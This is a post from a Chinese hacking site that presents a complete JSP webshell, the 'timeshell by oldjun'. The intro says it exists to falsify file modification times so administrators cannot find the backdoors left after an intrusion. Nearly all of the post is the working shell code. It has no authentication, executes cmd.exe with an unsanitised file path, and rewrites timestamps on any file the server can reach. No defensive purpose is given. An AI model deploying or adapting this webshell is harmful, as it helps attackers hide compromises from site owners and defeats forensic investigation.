华域联盟 漏洞资讯 JSP 修改文件时间的WEBSHELL

JSP 修改文件时间的WEBSHELL

JSP 修改文件时间的WEBSHELL

很多网站的管理员通过查看文件的修改时间定位被入侵后流下的网马与后门,因此修改文件的创建与修改时间可以有效的预防后门的泄露。

昨天研究了下,JSP只提供了修改“文件修改时间”的接口,却没有提供修改“文件创建时间”的接口,因此貌似只能修改“文件修改时间 ”,kj021320的JSP SHELL有这个功能,不过只能修改年月日,而且昨晚我遇到的RESIN 2.1.9 运行不了kj021320的那个SHELL,于是决定自己写个小的shell!

主要功能:

1.文件的时间属性查看,包括修改时间与创建时间;

2.文件修改时间的修改,精确到秒;

代码如下:

(Apache Tomcat/6.0.18下运行通过!)

复制代码 代码如下:

<%@ page import="java.io.*" %>

<%@ page import="java.util.*, java.text.*" %>

<%@ page language="java" import="java.util.Enumeration" contentType="text/html; charset=GB2312"%>

<html>

<head>

<title>JSP timeshell by oldjun</title>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head>

<body>

<H1>JSP timeshell by oldjun</H1>

<%!

public static String getFileCreateDate(File _file) {

File file = _file;

try {

Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");

BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));

for (int i = 0; i < 5; i++) {

br.readLine();

}

String stuff = br.readLine();

StringTokenizer st = new StringTokenizer(stuff);

String dateC = st.nextToken();

String time = st.nextToken();

String datetime = dateC.concat(" "+time);

br.close();

return datetime;

} catch (Exception e) {

return null;

}

}

String folderReplace(String folder){

return folder.replace('\\','/');

}

%>

<%

String action = null;

if (request.getParameter("action") == null)

action = "main";

else

action = (String)request.getParameter("action");

if (action.equals("main")) {

%>

<form name= form1 method="post" action="?action=getinfo">

filepath:<input name="file" type="text" size="100" />

(for instance C:/Program Files/Apache Software Foundation/Tomcat 6.0/webapps/ROOT/time.jsp)

<input type="submit" name="Button" value="getinfo"/>

</form>

<%

}else if (action.equals("getinfo")) {

String filepath = folderReplace(request.getParameter("file"));

File file = new File(filepath);

if(!file.exists()){

out.println("<script lanugage=\"javascript\">alert(\"file:"+filepath+" not find!\");history.back();</script>");

}

%>

filepath:

<%=filepath%>

lastModifiedtime:

<%=new Date(file.lastModified())%>

Createtime:

<%

String Createtime=getFileCreateDate(file);

out.println(Createtime);

%>

now:

<%

Date myDate = new Date();

out.println(myDate.toLocaleString());

%>

<form name= form2 method="post" action="?action=change">

<input name="year" type="text" size="10"/>year

<input name="month" type="text" size="10"/>month

<input name="day" type="text" size="10"/>day

<input name="hour" type="text" size="10"/>hour

<input name="min" type="text" size="10"/>minute

<input name="sec" type="text" size="10"/>second

<input name="file" type="hidden" value="<%=filepath%>" />

<input type="submit" name="Button" value="change"/>

</form>

<%

}else if (action.equals("change")) {

String url="?action=main";

String filepath = folderReplace(request.getParameter("file"));

String year = request.getParameter("year");

String month = request.getParameter("month");

String day = request.getParameter("day");

String hour = request.getParameter("hour");

String min = request.getParameter("min");

String sec = request.getParameter("sec");

File file = new File(filepath);

Calendar calendar=Calendar.getInstance();

calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));

if(file.setLastModified(calendar.getTimeInMillis()))

out.println("<script lanugage=\"javascript\">alert(\"file date change success!\");location.href=\""+url+"\";</script>");

else

out.println("<script lanugage=\"javascript\">alert(\"time error!\");history.back();</script>");

}

%>

</body>

</html>


本文由 华域联盟 原创撰写:华域联盟 » JSP 修改文件时间的WEBSHELL

转载请保留出处和原文链接:https://www.cnhackhy.com/160106.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部